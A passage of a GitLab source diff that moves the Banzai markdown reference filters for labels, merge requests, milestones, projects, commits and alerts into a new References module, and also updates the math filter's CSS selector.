- parent = parent_from_ref(parent_ref)
- return unless parent
-
- label_params = label_params(label_id, label_name)
- find_labels(parent).find_by(label_params)
- end
-
- def find_labels(parent)
- params = if parent.is_a?(Group)
- { group_id: parent.id,
- include_ancestor_groups: true,
- only_group_labels: true }
- else
- { project: parent,
- include_ancestor_groups: true }
- end
-
- LabelsFinder.new(nil, params).execute(skip_authorization: true)
- end
-
- # Parameters to pass to `Label.find_by` based on the given arguments
- #
- # id - Integer ID to pass. If present, returns {id: id}
- # name - String name to pass. If `id` is absent, finds by name without
- # surrounding quotes.
- #
- # Returns a Hash.
- def label_params(id, name)
- if name
- { name: name.tr('"', '') }
- else
- { id: id.to_i }
- end
- end
-
- def url_for_object(label, parent)
- label_url_method =
- if context[:label_url_method]
- context[:label_url_method]
- elsif parent.is_a?(Project)
- :project_issues_url
- end
-
- return unless label_url_method
-
- Gitlab::Routing.url_helpers.public_send(label_url_method, parent, label_name: label.name, only_path: context[:only_path]) # rubocop:disable GitlabSecurity/PublicSend
- end
-
- def object_link_text(object, matches)
- label_suffix = ''
- parent = project || group
-
- if project || full_path_ref?(matches)
- project_path = full_project_path(matches[:namespace], matches[:project])
- parent_from_ref = from_ref_cached(project_path)
- reference = parent_from_ref.to_human_reference(parent)
-
- label_suffix = " <i>in #{ERB::Util.html_escape(reference)}</i>" if reference.present?
- end
-
- presenter = object.present(issuable_subject: parent)
- LabelsHelper.render_colored_label(presenter, suffix: label_suffix)
- end
-
- def wrap_link(link, label)
- presenter = label.present(issuable_subject: project || group)
- LabelsHelper.wrap_label_html(link, small: true, label: presenter)
- end
-
- def full_path_ref?(matches)
- matches[:namespace] && matches[:project]
- end
-
- def reference_class(type, tooltip: true)
- super + ' gl-link gl-label-link'
- end
-
- def object_link_title(object, matches)
- presenter = object.present(issuable_subject: project || group)
- LabelsHelper.label_tooltip_title(presenter)
- end
- end
- end
-end
-
-Banzai::Filter::LabelReferenceFilter.prepend_if_ee('EE::Banzai::Filter::LabelReferenceFilter')
diff --git a/lib/banzai/filter/math_filter.rb b/lib/banzai/filter/math_filter.rb
index c915f0ee35b..2247984b86d 100644
--- a/lib/banzai/filter/math_filter.rb
+++ b/lib/banzai/filter/math_filter.rb
@@ -39,7 +39,7 @@ module Banzai
end
end
- doc.css('pre.code.math').each do |el|
+ doc.css('pre.code.language-math').each do |el|
el[STYLE_ATTRIBUTE] = 'display'
el[:class] += " #{TAG_CLASS}"
end
diff --git a/lib/banzai/filter/merge_request_reference_filter.rb b/lib/banzai/filter/merge_request_reference_filter.rb
deleted file mode 100644
index 0b8bd17a71b..00000000000
--- a/lib/banzai/filter/merge_request_reference_filter.rb
+++ /dev/null
@@ -1,97 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces merge request references with links. References
- # to merge requests that do not exist are ignored.
- #
- # This filter supports cross-project references.
- class MergeRequestReferenceFilter < IssuableReferenceFilter
- self.reference_type = :merge_request
-
- def self.object_class
- MergeRequest
- end
-
- def url_for_object(mr, project)
- h = Gitlab::Routing.url_helpers
- h.project_merge_request_url(project, mr,
- only_path: context[:only_path])
- end
-
- def object_link_title(object, matches)
- # The method will return `nil` if object is not a commit
- # allowing for properly handling the extended MR Tooltip
- object_link_commit_title(object, matches)
- end
-
- def object_link_text_extras(object, matches)
- extras = super
-
- if commit_ref = object_link_commit_ref(object, matches)
- klass = reference_class(:commit, tooltip: false)
- commit_ref_tag = %(<span class="#{klass}">#{commit_ref}</span>)
-
- return extras.unshift(commit_ref_tag)
- end
-
- path = matches[:path] if matches.names.include?("path")
-
- case path
- when '/diffs'
- extras.unshift "diffs"
- when '/commits'
- extras.unshift "commits"
- when '/builds'
- extras.unshift "builds"
- end
-
- extras
- end
-
- def parent_records(parent, ids)
- parent.merge_requests
- .where(iid: ids.to_a)
- .includes(target_project: :namespace)
- end
-
- def reference_class(object_sym, options = {})
- super(object_sym, tooltip: false)
- end
-
- def data_attributes_for(text, parent, object, **data)
- super.merge(project_path: parent.full_path, iid: object.iid, mr_title: object.title)
- end
-
- private
-
- def object_link_commit_title(object, matches)
- object_link_commit(object, matches)&.title
- end
-
- def object_link_commit_ref(object, matches)
- object_link_commit(object, matches)&.short_id
- end
-
- def object_link_commit(object, matches)
- return unless matches.names.include?('query') && query = matches[:query]
-
- # Removes leading "?". CGI.parse expects "arg1&arg2&arg3"
- params = CGI.parse(query.sub(/^\?/, ''))
-
- return unless commit_sha = params['commit_id']&.first
-
- if commit = find_commit_by_sha(object, commit_sha)
- Commit.from_hash(commit.to_hash, object.project)
- end
- end
-
- def find_commit_by_sha(object, commit_sha)
- @all_commits ||= {}
- @all_commits[object.id] ||= object.all_commits
-
- @all_commits[object.id].find { |commit| commit.sha == commit_sha }
- end
- end
- end
-end
diff --git a/lib/banzai/filter/milestone_reference_filter.rb b/lib/banzai/filter/milestone_reference_filter.rb
deleted file mode 100644
index 126208db935..00000000000
--- a/lib/banzai/filter/milestone_reference_filter.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces milestone references with links.
- class MilestoneReferenceFilter < AbstractReferenceFilter
- include Gitlab::Utils::StrongMemoize
-
- self.reference_type = :milestone
-
- def self.object_class
- Milestone
- end
-
- # Links to project milestones contain the IID, but when we're handling
- # 'regular' references, we need to use the global ID to disambiguate
- # between group and project milestones.
- def find_object(parent, id)
- return unless valid_context?(parent)
-
- find_milestone_with_finder(parent, id: id)
- end
-
- def find_object_from_link(parent, iid)
- return unless valid_context?(parent)
-
- find_milestone_with_finder(parent, iid: iid)
- end
-
- def valid_context?(parent)
- strong_memoize(:valid_context) do
- group_context?(parent) || project_context?(parent)
- end
- end
-
- def group_context?(parent)
- strong_memoize(:group_context) do
- parent.is_a?(Group)
- end
- end
-
- def project_context?(parent)
- strong_memoize(:project_context) do
- parent.is_a?(Project)
- end
- end
-
- def references_in(text, pattern = Milestone.reference_pattern)
- # We'll handle here the references that follow the `reference_pattern`.
- # Other patterns (for example, the link pattern) are handled by the
- # default implementation.
- return super(text, pattern) if pattern != Milestone.reference_pattern
-
- milestones = {}
- unescaped_html = unescape_html_entities(text).gsub(pattern) do |match|
- milestone = find_milestone($~[:project], $~[:namespace], $~[:milestone_iid], $~[:milestone_name])
-
- if milestone
- milestones[milestone.id] = yield match, milestone.id, $~[:project], $~[:namespace], $~
- "#{REFERENCE_PLACEHOLDER}#{milestone.id}"
- else
- match
- end
- end
-
- return text if milestones.empty?
-
- escape_with_placeholders(unescaped_html, milestones)
- end
-
- def find_milestone(project_ref, namespace_ref, milestone_id, milestone_name)
- project_path = full_project_path(namespace_ref, project_ref)
-
- # Returns group if project is not found by path
- parent = parent_from_ref(project_path)
-
- return unless parent
-
- milestone_params = milestone_params(milestone_id, milestone_name)
-
- find_milestone_with_finder(parent, milestone_params)
- end
-
- def milestone_params(iid, name)
- if name
- { name: name.tr('"', '') }
- else
- { iid: iid.to_i }
- end
- end
-
- def find_milestone_with_finder(parent, params)
- finder_params = milestone_finder_params(parent, params[:iid].present?)
-
- MilestonesFinder.new(finder_params).find_by(params)
- end
-
- def milestone_finder_params(parent, find_by_iid)
- { order: nil, state: 'all' }.tap do |params|
- params[:project_ids] = parent.id if project_context?(parent)
-
- # We don't support IID lookups because IIDs can clash between
- # group/project milestones and group/subgroup milestones.
- params[:group_ids] = self_and_ancestors_ids(parent) unless find_by_iid
- end
- end
-
- def self_and_ancestors_ids(parent)
- if group_context?(parent)
- parent.self_and_ancestors.select(:id)
- elsif project_context?(parent)
- parent.group&.self_and_ancestors&.select(:id)
- end
- end
-
- def url_for_object(milestone, project)
- Gitlab::Routing
- .url_helpers
- .milestone_url(milestone, only_path: context[:only_path])
- end
-
- def object_link_text(object, matches)
- milestone_link = escape_once(super)
- reference = object.project&.to_reference_base(project)
-
- if reference.present?
- "#{milestone_link} <i>in #{reference}</i>".html_safe
- else
- milestone_link
- end
- end
-
- def object_link_title(object, matches)
- nil
- end
- end
- end
-end
diff --git a/lib/banzai/filter/project_reference_filter.rb b/lib/banzai/filter/project_reference_filter.rb
deleted file mode 100644
index 50e23460cb8..00000000000
--- a/lib/banzai/filter/project_reference_filter.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-# frozen_string_literal: true
-
-module Banzai
- module Filter
- # HTML filter that replaces project references with links.
- class ProjectReferenceFilter < ReferenceFilter
- self.reference_type = :project
-
- # Public: Find `namespace/project>` project references in text
- #
- # ProjectReferenceFilter.references_in(text) do |match, project|
- # "<a href=...>#{project}></a>"
- # end
- #
- # text - String text to search.
- #
- # Yields the String match, and the String project name.
- #
- # Returns a String replaced with the return of the block.
- def self.references_in(text)
- text.gsub(Project.markdown_reference_pattern) do |match|
- yield match, "#{$~[:namespace]}/#{$~[:project]}"
- end
- end
-
- def call
- ref_pattern = Project.markdown_reference_pattern
- ref_pattern_start = /\A#{ref_pattern}\z/
-
- nodes.each_with_index do |node, index|
- if text_node?(node)
- replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
- project_link_filter(content)
- end
- elsif element_node?(node)
- yield_valid_link(node) do |link, inner_html|
- if link =~ ref_pattern_start
- replace_link_node_with_href(node, index, link) do
- project_link_filter(link, link_content: inner_html)
- end
- end
- end
- end
- end
-
- doc
- end
-
- # Replace `namespace/project>` project references in text with links to the referenced
- # project page.
- #
- # text - String text to replace references in.
- # link_content - Original content of the link being replaced.
- #
- # Returns a String with `namespace/project>` references replaced with links. All links
- # have `gfm` and `gfm-project` class names attached for styling.
- def project_link_filter(text, link_content: nil)
- self.class.references_in(text) do |match, project_path|
- cached_call(:banzai_url_for_object, match, path: [Project, project_path.downcase]) do
- if project = projects_hash[project_path.downcase]
- link_to_project(project, link_content: link_content) || match
- else
- match
- end
- end
- end
- end
-
- # Returns a Hash containing all Project objects for the project
- # references in the current document.
- #
- # The keys of this Hash are the project paths, the values the
- # corresponding Project objects.
- def projects_hash
- @projects ||= Project.eager_load(:route, namespace: [:route])
- .where_full_path_in(projects)
- .index_by(&:full_path)
- .transform_keys(&:downcase)
- end
-
- # Returns all projects referenced in the current document.
- def projects
- refs = Set.new
-
- nodes.each do |node|
- node.to_html.scan(Project.markdown_reference_pattern) do
- refs << "#{$~[:namespace]}/#{$~[:project]}"
- end
- end
-
- refs.to_a
- end
-
- private
-
- def urls
- Gitlab::Routing.url_helpers
- end
-
- def link_class
- reference_class(:project)
- end
-
- def link_to_project(project, link_content: nil)
- url = urls.project_url(project, only_path: context[:only_path])
- data = data_attribute(project: project.id)
- content = link_content || project.to_reference
-
- link_tag(url, data, content, project.name)
- end
-
- def link_tag(url, data, link_content, title)
- %(<a href="#{url}" #{data} class="#{link_class}" title="#{escape_once(title)}">#{link_content}</a>)
- end
- end
- end
-end
diff --git a/lib/banzai/filter/reference_filter.rb b/lib/banzai/filter/reference_filter.rb
deleted file mode 100644
index d22a0e0b504..00000000000
--- a/lib/banzai/filter/reference_filter.rb
+++ /dev/null
@@ -1,215 +0,0 @@
-# frozen_string_literal: true
-
-# Generated HTML is transformed back to GFM by app/assets/javascripts/behaviors/markdown/nodes/reference.js
-module Banzai
- module Filter
- # Base class for GitLab Flavored Markdown reference filters.
- #
- # References within <pre>, <code>, <a>, and <style> elements are ignored.
- #
- # Context options:
- # :project (required) - Current project, ignored if reference is cross-project.
- # :only_path - Generate path-only links.
- class ReferenceFilter < HTML::Pipeline::Filter
- include RequestStoreReferenceCache
- include OutputSafety
-
- class << self
- attr_accessor :reference_type
-
- def call(doc, context = nil, result = nil)
- new(doc, context, result).call_and_update_nodes
- end
- end
-
- def initialize(doc, context = nil, result = nil)
- super
-
- @new_nodes = {}
- @nodes = self.result[:reference_filter_nodes]
- end
-
- def call_and_update_nodes
- with_update_nodes { call }
- end
-
- # Returns a data attribute String to attach to a reference link
- #
- # attributes - Hash, where the key becomes the data attribute name and the
- # value is the data attribute value
- #
- # Examples:
- #
- # data_attribute(project: 1, issue: 2)
- # # => "data-reference-type=\"SomeReferenceFilter\" data-project=\"1\" data-issue=\"2\""
- #
- # data_attribute(project: 3, merge_request: 4)
- # # => "data-reference-type=\"SomeReferenceFilter\" data-project=\"3\" data-merge-request=\"4\""
- #
- # Returns a String
- def data_attribute(attributes = {})
- attributes = attributes.reject { |_, v| v.nil? }
-
- attributes[:reference_type] ||= self.class.reference_type
- attributes[:container] ||= 'body'
- attributes[:placement] ||= 'top'
- attributes.delete(:original) if context[:no_original_data]
- attributes.map do |key, value|
- %Q(data-#{key.to_s.dasherize}="#{escape_once(value)}")
- end.join(' ')
- end
-
- def ignore_ancestor_query
- @ignore_ancestor_query ||= begin
- parents = %w(pre code a style)
- parents << 'blockquote' if context[:ignore_blockquotes]
-
- parents.map { |n| "ancestor::#{n}" }.join(' or ')
- end
- end
-
- def project
- context[:project]
- end
-
- def group
- context[:group]
- end
-
- def user
- context[:user]
- end
-
- def skip_project_check?
- context[:skip_project_check]
- end
-
- def reference_class(type, tooltip: true)
- gfm_klass = "gfm gfm-#{type}"
-
- return gfm_klass unless tooltip
-
- "#{gfm_klass} has-tooltip"
- end
-
- # Ensure that a :project key exists in context
- #
- # Note that while the key might exist, its value could be nil!
- def validate
- needs :project unless skip_project_check?
- end
-
- # Iterates over all <a> and text() nodes in a document.
- #
- # Nodes are skipped whenever their ancestor is one of the nodes returned
- # by `ignore_ancestor_query`. Link tags are not processed if they have a
- # "gfm" class or the "href" attribute is empty.
- def each_node
- return to_enum(__method__) unless block_given?
-
- doc.xpath(query).each do |node|
- yield node
- end
- end
-
- # Returns an Array containing all HTML nodes.
- def nodes
- @nodes ||= each_node.to_a
- end
-
- # Yields the link's URL and inner HTML whenever the node is a valid <a> tag.
- def yield_valid_link(node)
- link = unescape_link(node.attr('href').to_s)
- inner_html = node.inner_html
-
- return unless link.force_encoding('UTF-8').valid_encoding?
-
- yield link, inner_html
- end
-
- def unescape_link(href)
- CGI.unescape(href)
- end
-
- def replace_text_when_pattern_matches(node, index, pattern)
- return unless node.text =~ pattern
-
- content = node.to_html
- html = yield content
-
- replace_text_with_html(node, index, html) unless html == content
- end
-
- def replace_link_node_with_text(node, index)
- html = yield
-
- replace_text_with_html(node, index, html) unless html == node.text
- end
-
- def replace_link_node_with_href(node, index, link)
- html = yield
-
- replace_text_with_html(node, index, html) unless html == link
- end
-
- def text_node?(node)
- node.is_a?(Nokogiri::XML::Text)
- end
-
- def element_node?(node)
- node.is_a?(Nokogiri::XML::Element)
- end
-
- private
-
- def query
- @query ||= %Q{descendant-or-self::text()[not(#{ignore_ancestor_query})]
- | descendant-or-self::a[
- not(contains(concat(" ", @class, " "), " gfm ")) and not(@href = "")
- ]}
- end
-
- def replace_text_with_html(node, index, html)
- replace_and_update_new_nodes(node, index, html)
- end
-
- def replace_and_update_new_nodes(node, index, html)
- previous_node = node.previous
- next_node = node.next
- parent_node = node.parent
- # Unfortunately node.replace(html) returns re-parented nodes, not the actual replaced nodes in the doc
- # We need to find the actual nodes in the doc that were replaced
- node.replace(html)
- @new_nodes[index] = []
-
- # We replaced node with new nodes, so we find first new node. If previous_node is nil, we take first parent child
- new_node = previous_node ? previous_node.next : parent_node&.children&.first
-
- # We iterate from first to last replaced node and store replaced nodes in @new_nodes
- while new_node && new_node != next_node
- @new_nodes[index] << new_node.xpath(query)
- new_node = new_node.next
- end
-
- @new_nodes[index].flatten!
- end
-
- def only_path?
- context[:only_path]
- end
-
- def with_update_nodes
- @new_nodes = {}
- yield.tap { update_nodes! }
- end
-
- # Once Filter completes replacing nodes, we update nodes with @new_nodes
- def update_nodes!
- @new_nodes.sort_by { |index, _new_nodes| -index }.each do |index, new_nodes|
- nodes[index, 1] = new_nodes
- end
- result[:reference_filter_nodes] = nodes
- end
- end
- end
-end
diff --git a/lib/banzai/filter/references/abstract_reference_filter.rb b/lib/banzai/filter/references/abstract_reference_filter.rb
new file mode 100644
index 00000000000..7109373dbce
--- /dev/null
+++ b/lib/banzai/filter/references/abstract_reference_filter.rb
@@ -0,0 +1,448 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # Issues, merge requests, Snippets, Commits and Commit Ranges share
+ # similar functionality in reference filtering.
+ class AbstractReferenceFilter < ReferenceFilter
+ include CrossProjectReference
+
+ # REFERENCE_PLACEHOLDER is used for re-escaping HTML text except found
+ # reference (which we replace with placeholder during re-scaping). The
+ # random number helps ensure it's pretty close to unique. Since it's a
+ # transitory value (it never gets saved) we can initialize once, and it
+ # doesn't matter if it changes on a restart.
+ REFERENCE_PLACEHOLDER = "_reference_#{SecureRandom.hex(16)}_"
+ REFERENCE_PLACEHOLDER_PATTERN = %r{#{REFERENCE_PLACEHOLDER}(\d+)}.freeze
+
+ def self.object_class
+ # Implement in child class
+ # Example: MergeRequest
+ end
+
+ def self.object_name
+ @object_name ||= object_class.name.underscore
+ end
+
+ def self.object_sym
+ @object_sym ||= object_name.to_sym
+ end
+
+ # Public: Find references in text (like `!123` for merge requests)
+ #
+ # AnyReferenceFilter.references_in(text) do |match, id, project_ref, matches|
+ # object = find_object(project_ref, id)
+ # "<a href=...>#{object.to_reference}</a>"
+ # end
+ #
+ # text - String text to search.
+ #
+ # Yields the String match, the Integer referenced object ID, an optional String
+ # of the external project reference, and all of the matchdata.
+ #
+ # Returns a String replaced with the return of the block.
+ def self.references_in(text, pattern = object_class.reference_pattern)
+ text.gsub(pattern) do |match|
+ if ident = identifier($~)
+ yield match, ident, $~[:project], $~[:namespace], $~
+ else
+ match
+ end
+ end
+ end
+
+ def self.identifier(match_data)
+ symbol = symbol_from_match(match_data)
+
+ parse_symbol(symbol, match_data) if object_class.reference_valid?(symbol)
+ end
+
+ def identifier(match_data)
+ self.class.identifier(match_data)
+ end
+
+ def self.symbol_from_match(match)
+ key = object_sym
+ match[key] if match.names.include?(key.to_s)
+ end
+
+ # Transform a symbol extracted from the text to a meaningful value
+ # In most cases these will be integers, so we call #to_i by default
+ #
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `parse_symbol(ref) == record_identifier(record)`.
+ def self.parse_symbol(symbol, match_data)
+ symbol.to_i
+ end
+
+ # We assume that most classes are identifying records by ID.
+ #
+ # This method has the contract that if a string `ref` refers to a
+ # record `record`, then `class.parse_symbol(ref) == record_identifier(record)`.
+ def record_identifier(record)
+ record.id
+ end
+
+ def object_class
+ self.class.object_class
+ end
+
+ def object_sym
+ self.class.object_sym
+ end
+
+ def references_in(*args, &block)
+ self.class.references_in(*args, &block)
+ end
+
+ # Implement in child class
+ # Example: project.merge_requests.find
+ def find_object(parent_object, id)
+ end
+
+ # Override if the link reference pattern produces a different ID (global
+ # ID vs internal ID, for instance) to the regular reference pattern.
+ def find_object_from_link(parent_object, id)
+ find_object(parent_object, id)
+ end
+
+ # Implement in child class
+ # Example: project_merge_request_url
+ def url_for_object(object, parent_object)
+ end
+
+ def find_object_cached(parent_object, id)
+ cached_call(:banzai_find_object, id, path: [object_class, parent_object.id]) do
+ find_object(parent_object, id)
+ end
+ end
+
+ def find_object_from_link_cached(parent_object, id)
+ cached_call(:banzai_find_object_from_link, id, path: [object_class, parent_object.id]) do
+ find_object_from_link(parent_object, id)
+ end
+ end
+
+ def from_ref_cached(ref)
+ cached_call("banzai_#{parent_type}_refs".to_sym, ref) do
+ parent_from_ref(ref)
+ end
+ end
+
+ def url_for_object_cached(object, parent_object)
+ cached_call(:banzai_url_for_object, object, path: [object_class, parent_object.id]) do
+ url_for_object(object, parent_object)
+ end
+ end
+
+ def call
+ return doc unless project || group || user
+
+ ref_pattern = object_class.reference_pattern
+ link_pattern = object_class.link_reference_pattern
+
+ # Compile often used regexps only once outside of the loop
+ ref_pattern_anchor = /\A#{ref_pattern}\z/
+ link_pattern_start = /\A#{link_pattern}/
+ link_pattern_anchor = /\A#{link_pattern}\z/
+
+ nodes.each_with_index do |node, index|
+ if text_node?(node) && ref_pattern
+ replace_text_when_pattern_matches(node, index, ref_pattern) do |content|
+ object_link_filter(content, ref_pattern)
+ end
+
+ elsif element_node?(node)
+ yield_valid_link(node) do |link, inner_html|
+ if ref_pattern && link =~ ref_pattern_anchor
+ replace_link_node_with_href(node, index, link) do
+ object_link_filter(link, ref_pattern, link_content: inner_html)
+ end
+
+ next
+ end
+
+ next unless link_pattern
+
+ if link == inner_html && inner_html =~ link_pattern_start
+ replace_link_node_with_text(node, index) do
+ object_link_filter(inner_html, link_pattern, link_reference: true)
+ end
+
+ next
+ end
+
+ if link =~ link_pattern_anchor
+ replace_link_node_with_href(node, index, link) do
+ object_link_filter(link, link_pattern, link_content: inner_html, link_reference: true)
+ end
+
+ next
+ end
+ end
+ end
+ end
+
+ doc
+ end
+
+ # Replace references (like `!123` for merge requests) in text with links
+ # to the referenced object's details page.
+ #
+ # text - String text to replace references in.
+ # pattern - Reference pattern to match against.
+ # link_content - Original content of the link being replaced.
+ # link_reference - True if this was using the link reference pattern,
+ # false otherwise.
+ #
+ # Returns a String with references replaced with links. All links
+ # have `gfm` and `gfm-OBJECT_NAME` class names attached for styling.
+ def object_link_filter(text, pattern, link_content: nil, link_reference: false)
+ references_in(text, pattern) do |match, id, project_ref, namespace_ref, matches|
+ parent_path = if parent_type == :group
+ full_group_path(namespace_ref)
+ else
+ full_project_path(namespace_ref, project_ref)
+ end
+
+ parent = from_ref_cached(parent_path)
+
+ if parent
+ object =
+ if link_reference
+ find_object_from_link_cached(parent, id)
+ else
+ find_object_cached(parent, id)
+ end
+ end
+
+ if object
+ title = object_link_title(object, matches)
+ klass = reference_class(object_sym)
+
+ data_attributes = data_attributes_for(link_content || match, parent, object,
+ link_content: !!link_content,
+ link_reference: link_reference)
+ data = data_attribute(data_attributes)
+
+ url =
+ if matches.names.include?("url") && matches[:url]
+ matches[:url]
+ else
+ url_for_object_cached(object, parent)
+ end
+
+ content = link_content || object_link_text(object, matches)
+
+ link = %(<a href="#{url}" #{data}
+ title="#{escape_once(title)}"
+ class="#{klass}">#{content}</a>)
+
+ wrap_link(link, object)
+ else
+ match
+ end
+ end
+ end
+
+ def wrap_link(link, object)
+ link
+ end
+
+ def data_attributes_for(text, parent, object, link_content: false, link_reference: false)
+ object_parent_type = parent.is_a?(Group) ? :group : :project
+
+ {
+ original: escape_html_entities(text),
+ link: link_content,
+ link_reference: link_reference,
+ object_parent_type => parent.id,
+ object_sym => object.id
+ }
+ end
+
+ def object_link_text_extras(object, matches)
+ extras = []
+
+ if matches.names.include?("anchor") && matches[:anchor] && matches[:anchor] =~ /\A\#note_(\d+)\z/
+ extras << "comment #{Regexp.last_match(1)}"
+ end
+
+ extension = matches[:extension] if matches.names.include?("extension")
+
+ extras << extension if extension
+
+ extras
+ end
+
+ def object_link_title(object, matches)
+ object.title
+ end
+
+ def object_link_text(object, matches)
+ parent = project || group || user
+ text = object.reference_link_text(parent)
+
+ extras = object_link_text_extras(object, matches)
+ text += " (#{extras.join(", ")})" if extras.any?
+
+ text
+ end
+
+ # Returns a Hash containing all object references (e.g. issue IDs) per the
+ # project they belong to.
+ def references_per_parent
+ @references_per ||= {}
+
+ @references_per[parent_type] ||= begin
+ refs = Hash.new { |hash, key| hash[key] = Set.new }
+ regex = [
+ object_class.link_reference_pattern,
+ object_class.reference_pattern
+ ].compact.reduce { |a, b| Regexp.union(a, b) }
+
+ nodes.each do |node|
+ node.to_html.scan(regex) do
+ path = if parent_type == :project
+ full_project_path($~[:namespace], $~[:project])
+ else
+ full_group_path($~[:group])
+ end
+
+ if ident = identifier($~)
+ refs[path] << ident
+ end
+ end
+ end
+
+ refs
+ end
+ end
+
+ # Returns a Hash containing referenced projects grouped per their full
+ # path.
+ def parent_per_reference
+ @per_reference ||= {}
+
+ @per_reference[parent_type] ||= begin
+ refs = Set.new
+
+ references_per_parent.each do |ref, _|
+ refs << ref
+ end
+
+ find_for_paths(refs.to_a).index_by(&:full_path)
+ end
+ end
+
+ def relation_for_paths(paths)
+ klass = parent_type.to_s.camelize.constantize
+ result = klass.where_full_path_in(paths)
+ return result if parent_type == :group
+
+ result.includes(:namespace) if parent_type == :project
+ end
+
+ # Returns projects for the given paths.
+ def find_for_paths(paths)
+ if Gitlab::SafeRequestStore.active?
+ cache = refs_cache
+ to_query = paths - cache.keys
+
+ unless to_query.empty?
+ records = relation_for_paths(to_query)
+
+ found = []
+ records.each do |record|
+ ref = record.full_path
+ get_or_set_cache(cache, ref) { record }
+ found << ref
+ end
+
+ not_found = to_query - found
+ not_found.each do |ref|
+ get_or_set_cache(cache, ref) { nil }
+ end
+ end
+
+ cache.slice(*paths).values.compact
+ else
+ relation_for_paths(paths)
+ end
+ end
+
+ def current_parent_path
+ @current_parent_path ||= parent&.full_path
+ end
+
+ def current_project_namespace_path
+ @current_project_namespace_path ||= project&.namespace&.full_path
+ end
+
+ def records_per_parent
+ @_records_per_project ||= {}
+
+ @_records_per_project[object_class.to_s.underscore] ||= begin
+ hash = Hash.new { |h, k| h[k] = {} }
+
+ parent_per_reference.each do |path, parent|
+ record_ids = references_per_parent[path]
+
+ parent_records(parent, record_ids).each do |record|
+ hash[parent][record_identifier(record)] = record
+ end
+ end
+
+ hash
+ end
+ end
+
+ private
+
+ def full_project_path(namespace, project_ref)
+ return current_parent_path unless project_ref
+
+ namespace_ref = namespace || current_project_namespace_path
+ "#{namespace_ref}/#{project_ref}"
+ end
+
+ def refs_cache
+ Gitlab::SafeRequestStore["banzai_#{parent_type}_refs".to_sym] ||= {}
+ end
+
+ def parent_type
+ :project
+ end
+
+ def parent
+ parent_type == :project ? project : group
+ end
+
+ def full_group_path(group_ref)
+ return current_parent_path unless group_ref
+
+ group_ref
+ end
+
+ def unescape_html_entities(text)
+ CGI.unescapeHTML(text.to_s)
+ end
+
+ def escape_html_entities(text)
+ CGI.escapeHTML(text.to_s)
+ end
+
+ def escape_with_placeholders(text, placeholder_data)
+ escaped = escape_html_entities(text)
+
+ escaped.gsub(REFERENCE_PLACEHOLDER_PATTERN) do |match|
+ placeholder_data[Regexp.last_match(1).to_i]
+ end
+ end
+ end
+ end
+ end
+end
+
+Banzai::Filter::References::AbstractReferenceFilter.prepend_if_ee('EE::Banzai::Filter::References::AbstractReferenceFilter')
diff --git a/lib/banzai/filter/references/alert_reference_filter.rb b/lib/banzai/filter/references/alert_reference_filter.rb
new file mode 100644
index 00000000000..90fef536605
--- /dev/null
+++ b/lib/banzai/filter/references/alert_reference_filter.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ class AlertReferenceFilter < IssuableReferenceFilter
+ self.reference_type = :alert
+
+ def self.object_class
+ AlertManagement::Alert
+ end
+
+ def self.object_sym
+ :alert
+ end
+
+ def parent_records(parent, ids)
+ parent.alert_management_alerts.where(iid: ids.to_a)
+ end
+
+ def url_for_object(alert, project)
+ ::Gitlab::Routing.url_helpers.details_project_alert_management_url(
+ project,
+ alert.iid,
+ only_path: context[:only_path]
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/commit_range_reference_filter.rb b/lib/banzai/filter/references/commit_range_reference_filter.rb
new file mode 100644
index 00000000000..ad79f8a173c
--- /dev/null
+++ b/lib/banzai/filter/references/commit_range_reference_filter.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces commit range references with links.
+ #
+ # This filter supports cross-project references.
+ class CommitRangeReferenceFilter < AbstractReferenceFilter
+ self.reference_type = :commit_range
+
+ def self.object_class
+ CommitRange
+ end
+
+ def self.references_in(text, pattern = CommitRange.reference_pattern)
+ text.gsub(pattern) do |match|
+ yield match, $~[:commit_range], $~[:project], $~[:namespace], $~
+ end
+ end
+
+ def initialize(*args)
+ super
+
+ @commit_map = {}
+ end
+
+ def find_object(project, id)
+ return unless project.is_a?(Project)
+
+ range = CommitRange.new(id, project)
+
+ range.valid_commits? ? range : nil
+ end
+
+ def url_for_object(range, project)
+ h = Gitlab::Routing.url_helpers
+ h.project_compare_url(project,
+ range.to_param.merge(only_path: context[:only_path]))
+ end
+
+ def object_link_title(range, matches)
+ nil
+ end
+ end
+ end
+ end
+end
diff --git a/lib/banzai/filter/references/commit_reference_filter.rb b/lib/banzai/filter/references/commit_reference_filter.rb
new file mode 100644
index 00000000000..457921bd07d
--- /dev/null
+++ b/lib/banzai/filter/references/commit_reference_filter.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module Banzai
+ module Filter
+ module References
+ # HTML filter that replaces commit references with links.
+ #
+ # This filter supports cross-project references.
+ class CommitReferenceFilter < AbstractReferenceFilter
+ self.reference_type = :commit
+
+ def self.object_class
+ Commit
+ end
+
+ def self.references_in(text, pattern = Commit.reference_pattern)
+ text.gsub(pattern) do |match|
+ yield match, $~[:commit], $~[:project], $~[:namespace], $~
+ end
+ end
+
+ def find_object(project, id)
+ return unless project.is_a?(Project) && project.valid_repo?
+
+ _, record = records_per_parent[project].detect { |k, _v| Gitlab::Git.shas_eql?(k, id) }
+
+ record
+ end
+
+ def referenced_merge_request_commit_shas
+ return [] unless noteable.is_a?(MergeRequest)
+
+ @referenced_merge_request_commit_shas ||= begin
+ referenced_shas = references_per_parent.values.reduce(:|).to_a
+ noteable.all_commit_shas.select do |sha|
+ referenced_shas.any? { |ref| Gitlab::Git.shas_eql?(sha, ref) }
+ end
+ end
+ end
+
+ # The default behaviour is `#to_i` - we just pass the hash through.
+ def self.parse_symbol(sha_hash, _match)
+ sha_hash
+ end
+
+ def url_for_object(commit, project)
+ h = Gitlab::Routing.url_helpers
+
+ if referenced_merge_request_commit_shas.include?(commit.id)
+ h.diffs_project_merge_request_url(project,
+ noteable,
+ commit_id: commit.id,
+ only_path: only_path?)
+ else
+ h.project_commit_url(project,
